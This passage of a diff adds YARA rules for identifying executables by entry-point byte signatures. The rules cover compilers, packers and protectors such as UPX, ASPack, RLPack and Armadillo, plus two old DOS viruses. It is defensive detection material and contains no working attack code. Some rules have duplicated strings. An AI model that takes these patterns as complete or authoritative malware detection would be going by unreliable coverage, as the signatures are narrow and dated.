+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_C_50_
+{
+	meta:
+		description = "Microsoft Visual C 5.0"
+	strings:
+		$0 = {64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 A8 53 56 57}
+	condition:
+		$0 at entrypoint
+}
+rule _DEF_V100Eng__bartxt_
+{
+	meta:
+		description = "DEF V1.00(Eng) -> bart/xt"
+	strings:
+		$0 = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_C_
+{
+	meta:
+		description = "Turbo C"
+	strings:
+		$0 = {8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B ?? ?? ?? 8E DA A3 ?? ?? 8C 06}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v1242__v1243_
+{
+	meta:
+		description = "PECompact v1.24.2 - v1.24.3"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 09}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 09}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Trap_118_EXE_
+{
+	meta:
+		description = "Trap 1.18 [EXE]"
+	strings:
+		$0 = {8C D0 BB 99 CB 8E D3 33 C9 8E D0 B9 7D 04 EB 04 90 EA CD 20 E2 F8 33 D2 E5 21 50 B9 00 05 EB 03 90 CD 20 81 F9 E2 03 74 0F 90 90 83 C1 FE 83 C2 01 EB EB FA EB FE EA F0 FA B8 FE 00 E7 21 58 E7 21 66 8C E3 66 B8 00 00 01 00 8E E0 66 8C E0 8E}
+	condition:
+		$0 at entrypoint
+}
+rule _NTkrnl_Secure_Suite_V01V015_DLL__NTkrnl_Software_
+{
+	meta:
+		description = "NTkrnl Secure Suite V0.1-V0.15 DLL -> NTkrnl Software"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 8B 44 24 04 05 ?? ?? ?? ?? 50 E8 01 00 00 00 C3 C3}
+	condition:
+		$0
+}
+rule _ASPack_v10804__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.08.04 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 41 06 00 00 EB 41}
+	condition:
+		$0 at entrypoint
+}
+rule _SENs_debug_protection_
+{
+	meta:
+		description = "SENs debug protection"
+	strings:
+		$0 = {BB 10 00 E8 22 00 BD FE 0F 28 63 29 53 45 4E E8 09 00 98 93 92 8A 80 20 21 52 CB 48 9D BB 00 00 9C 58 23 C5 50 03 C3 C3 B8 00 00 8C DD 03 DD C3}
+	condition:
+		$0 at entrypoint
+}
+rule _NJoy_12__NEX_
+{
+	meta:
+		description = "N-Joy 1.2 -> NEX"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 A4 32 40 00 E8 E8 F1 FF FF 6A 00 68 54 2A 40 00 6A 0A 6A 00 E8 A8 F2 FF FF E8 C7 EA FF FF 8D 40 00}
+		$1 = {55 8B EC 83 C4 F0 B8 A4 32 40 00 E8 E8 F1 FF FF 6A 00 68 54 2A 40 00 6A 0A 6A 00 E8 A8 F2 FF FF E8 C7 EA FF FF 8D 40 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PROTECT_EXECOM_v60_
+{
+	meta:
+		description = "PROTECT! EXE/COM v6.0"
+	strings:
+		$0 = {1E B4 30 CD 21 3C 02 73 ?? CD 20 BE ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v14_
+{
+	meta:
+		description = "Petite v1.4"
+	strings:
+		$0 = {59 F3 A5 83 C8 FF 8B DF AB 40 AB 40}
+		$1 = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 ?? ?? ?? ?? 6A 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_120_Basic_Edition_LZMA_
+{
+	meta:
+		description = "RLPack 1.20 Basic Edition [LZMA"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 9C 0C 00 00 EB 0C 8B 85 98 0C 00 00 89 85 9C 0C 00 00 8D B5 C4 0C 00 00 8D 9D 82 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 2D 0C 00 00 89 85 94 0C 00 00 E8 59}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 9C 0C 00 00 EB 0C 8B 85 98 0C 00 00 89 85 9C 0C 00 00 8D B5 C4 0C 00 00 8D 9D 82 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 2D 0C 00 00 89 85 94 0C 00 00 E8 59 01 00 00 EB 20 60 8B 85 9C 0C 00 00 FF B5 94 0C 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_Full_Edition_117__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Eddie1530_
+{
+	meta:
+		description = "Vx: Eddie.1530"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? 50 06 56 1E 33 C0 50 1F C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+		$1 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? 50 06 56 1E 33 C0 50 1F C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Visual_Cpp_50_
+{
+	meta:
+		description = "Visual C++ 5.0"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 00 00 00 68 00 00 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 00 53 56 57 89 65 E8 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _Special_EXE_Pasword_Protector_v101_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00 04 00 00 52 6A 00 51 50 FF 95 08 7A 00 00 5D 8D B5 3F 78 00 00 6A 00 6A 00 6A 00 56 FF 95 0C 7A 00 00 0B C0 0F 84 FE 00 00 00 56 FF 95 10 7A 00 00 56 FF 95 14 7A 00 00 80 BD 3E 78 00 00 00 74 D4 33 D2 8B BD 3E 77 00 00 8D 85 1D 02 00 00 89 85 42 77 00 00 8D 85 49 02 00 00 89 85 46 77 00 00 8D 85 EB 75 00 00 89 85 4A 77 00 00 8B 84 D5 24 76 00 00 03 F8 8B 8C D5 28 76 00 00 3B 85 36 77 00 00 60 74 1F 8D B5 BD 02 00 00 FF D6 85 D2 75 11 60 87 FE 8D BD 15 78 00 00 B9 08 00 00 00 F3 A5 61 EB 15 8D 85 9F 02 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v200b1__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v2.00b1 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 F2 40 00 68 C4 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _UnoPiX_075__BaGiE_
+{
+	meta:
+		description = "UnoPiX 0.75 -> BaGiE"
+	strings:
+		$0 = {60 E8 07 00 00 00 61 68 ?? ?? 40 00 C3 83 04 24 18 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 61}
+		$1 = {60 E8 07 00 00 00 61 68 ?? ?? 40 00 C3 83 04 24 18 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 61}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_XRCV1015_
+{
+	meta:
+		description = "Vx: XRCV.1015"
+	strings:
+		$0 = {E8 ?? ?? 5E 83 ?? ?? 53 51 1E 06 B4 99 CD 21 80 FC 21 ?? ?? ?? ?? ?? 33 C0 50 8C D8 48 8E C0 1F A1 ?? ?? 8B}
+		$1 = {E8 ?? ?? 5E 83 ?? ?? 53 51 1E 06 B4 99 CD 21 80 FC 21 ?? ?? ?? ?? ?? 33 C0 50 8C D8 48 8E C0 1F A1 ?? ?? 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FASM_15x_
+{
+	meta:
+		description = "FASM 1.5x"
+	strings:
+		$0 = {6A 00 FF 15 ?? ?? 40 00 A3 ?? ?? 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V11A__vcasm_
+{
+	meta:
+		description = "VProtector V1.1A -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V22007411__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2007.4.11 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Intro_v10_
+{
+	meta:
+		description = "PE Intro v1.0"
+	strings:
+		$0 = {8A 16 02 00 8A 07 32 C2 88 07 43 FE C2 81 FB}
+		$1 = {8B 04 24 9C 60 E8 ?? ?? ?? ?? 5D 81 ED 0A 45 40 ?? 80 BD 67 44 40 ?? ?? 0F 85 48}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_v118_Basic_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack v1.18 Basic [LZMA] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v032_Beta_
+{
+	meta:
+		description = "Upack v0.32 Beta"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 50 ?? AD 91 ?? F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_v12__NorthfoxHCC_
+{
+	meta:
+		description = "MEW 11 SE v1.2 -> Northfox[HCC]"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PIMP_Install_System_v13x_
+{
+	meta:
+		description = "Nullsoft PIMP Install System v1.3x"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? 00 00 56 57 6A ?? BE ?? ?? ?? ?? 59 8D BD}
+	condition:
+		$0 at entrypoint
+}
+rule _KenPack_V07__CHKenCom__20090610_
+{
+	meta:
+		description = "KenPack V0.7 -> CHKen.Com * 20090610"
+	strings:
+		$0 = {E8 0E 00 00 00 8D 4A 14 58 51 64 8B 08 FF 31 89 21 89 10 5A 6A 18 FF E2 72 8B 44 24 0C 8B ?? A8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 60 89 E5 31 C9 31 C0 ?? ?? B4 04 50 E2 FD 41 51 51 51 51 49 51 6A FF 89 E3 ?? ?? ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? ?? E8 7B 00 00 00 B1 08 FF 16 8D 52 04 B0 01 73 0B FF 16 B0 09 73 05 C1 E1 05 B0 11 50 8D 2C 82 FF 56 04 5D 01 E8 C3 31 C0 40 8D 54 85 00 FF 16 11 C0 39 C8 72 F4 29 C8 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_BJFNT_12_
+{
+	meta:
+		description = "PseudoSigner 0.2 [.BJFNT 1.2"
+	strings:
+		$0 = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Werus_Crypter_10__by_Kas_
+{
+	meta:
+		description = "Werus Crypter 1.0 - by Kas"
+	strings:
+		$0 = {BB E8 12 40 00 80 33 05 E9 7D FF FF FF}
+		$1 = {BB E8 12 40 00 80 33 05 E9 7D FF FF FF}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _EXECryptor_V22X__softcompletecom_
+{
+	meta:
+		description = "EXECryptor V2.2X -> softcomplete.com"
+	strings:
+		$0 = {FF E0 E8 04 00 00 00 FF FF FF FF 5E C3 00}
+		$1 = {FF E0 E8 04 00 00 00 FF FF FF FF 5E C3 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Alex_Protector_v10__Alex_
+{
+	meta:
+		description = "Alex Protector v1.0 -> Alex"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_v051_
+{
+	meta:
+		description = "UPX v0.51"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 F0 01 ?? ?? 83 CD FF 31 DB 90 90 90 EB 08 90 90 8A 06 46 88 07 47 01 DB 75 07}
+		$1 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 D8 01 ?? ?? 83 CD FF 31 DB ?? ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 0B 8A 06 46 88 07 47 EB EB 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLite_112__120_COM_
+{
+	meta:
+		description = "PKLite 1.12 / 1.20 [COM]"
+	strings:
+		$0 = {B8 00 00 BA 00 00 3B C4 73 67 8B C4 2D 44 03 25 F0 FF 8B F8 B9 A2 00 BE 7C 01 FC F3 A5 8B D8 B1 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 0C 01 50 4B 4C 49 54 45 20 43 6F 70 72 2E 20 31 39 39 31 20}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Microsoft_Visual_Cue_70_DLL_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Microsoft Visual Cue 7.0 DLL"
+	strings:
+		$0 = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtect_ExeDLL_v1x__ASL_
+{
+	meta:
+		description = "VProtect Exe/DLL v.1.x - ASL"
+	strings:
+		$0 = {3B C0 74 1C EB 00 DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 FF 56 50 72 6F 74 65 63 74 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrink_Wrap_v14_
+{
+	meta:
+		description = "Shrink Wrap v1.4"
+	strings:
+		$0 = {58 60 8B E8 55 33 F6 68 48 01 ?? ?? E8 49 01 ?? ?? EB}
+		$1 = {58 60 8B E8 55 33 F6 68 48 01 ?? ?? E8 49 01 ?? ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DEF_100_Eng__bartxt_
+{
+	meta:
+		description = "DEF 1.00 (Eng) -> bart/xt"
+	strings:
+		$0 = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_80_
+{
+	meta:
+		description = "Microsoft Visual C++ 8.0"
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? 00 74 1A 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 59 74 0B FF 74 24 04 FF 15 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 59 59 75 54 56 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B C6 BF}
+		$1 = {48 83 EC 28 E8 ?? ?? 00 00 48 83 C4 28 E9 ?? ?? FF FF CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+		$2 = {6A ?? 68 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF}
+		$3 = {6A ?? FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8}
+		$4 = {00 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00}
+		$5 = {E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9}
+		$6 = {E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9}
+		$7 = {6A 14 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB 94 00 00 00 53 6A 00 8B ?? ?? ?? ?? ?? FF D7 50 FF ?? ?? ?? ?? ?? 8B F0 85 F6 75 0A 6A 12 E8 ?? ?? ?? ?? 59 EB 18 89 1E 56 FF ?? ?? ?? ?? ?? 56 85 C0 75 14 50 FF D7 50 FF ?? ?? ?? ?? ?? B8}
+		$8 = {6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 40 89 45 E4}
+		$9 = {83 3D ?? ?? ?? ?? 00 74 1A 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 59 74 0B FF 74 24 04 FF 15 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 59 59 75 54 56 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B C6 BF ?? ?? ?? ?? 3B C7 59 73 0F 8B 06 85 C0 74 02 FF D0 83 C6 04 3B F7 72 F1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint or $7 at entrypoint or $8 at entrypoint or $9
+}
+rule _UPX_099__100__101_PE_DLL_
+{
+	meta:
+		description = "UPX 0.99 / 1.00 - 1.01 [PE DLL]"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 00 00 00 00 60 BE AE 00 00 00 8D BE 52 00 00 FF 57 83 CD FF EB 0D 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Pascal_v30_1985_
+{
+	meta:
+		description = "Turbo Pascal v3.0 1985"
+	strings:
+		$0 = {90 90 CD AB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 35}
+	condition:
+		$0 at entrypoint
+}
+rule _First_Publisher_Graphics_format_
+{
+	meta:
+		description = "First Publisher Graphics format"
+	strings:
+		$0 = {00 00 ?? 01 00 00 ?? 02}
+		$1 = {00 00 ?? 00 00 00 ?? 01}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _RLPack_11_BasicEdition__ap0x_
+{
+	meta:
+		description = "RLPack 1.1 BasicEdition -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Install_Stub_32bit_
+{
+	meta:
+		description = "Install Stub 32-bit"
+	strings:
+		$0 = {55 8B EC 81 EC 14 ?? 00 00 53 56 57 6A 00 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 29}
+		$1 = {55 8B EC 81 EC 14 ?? 00 00 53 56 57 6A 00 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 29}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AHpack_01__FEUERRADER_
+{
+	meta:
+		description = "AHpack 0.1 -> FEUERRADER"
+	strings:
+		$0 = {60 66 9C BB ?? ?? ?? ?? 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61}
+		$1 = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V118_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.18 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68}
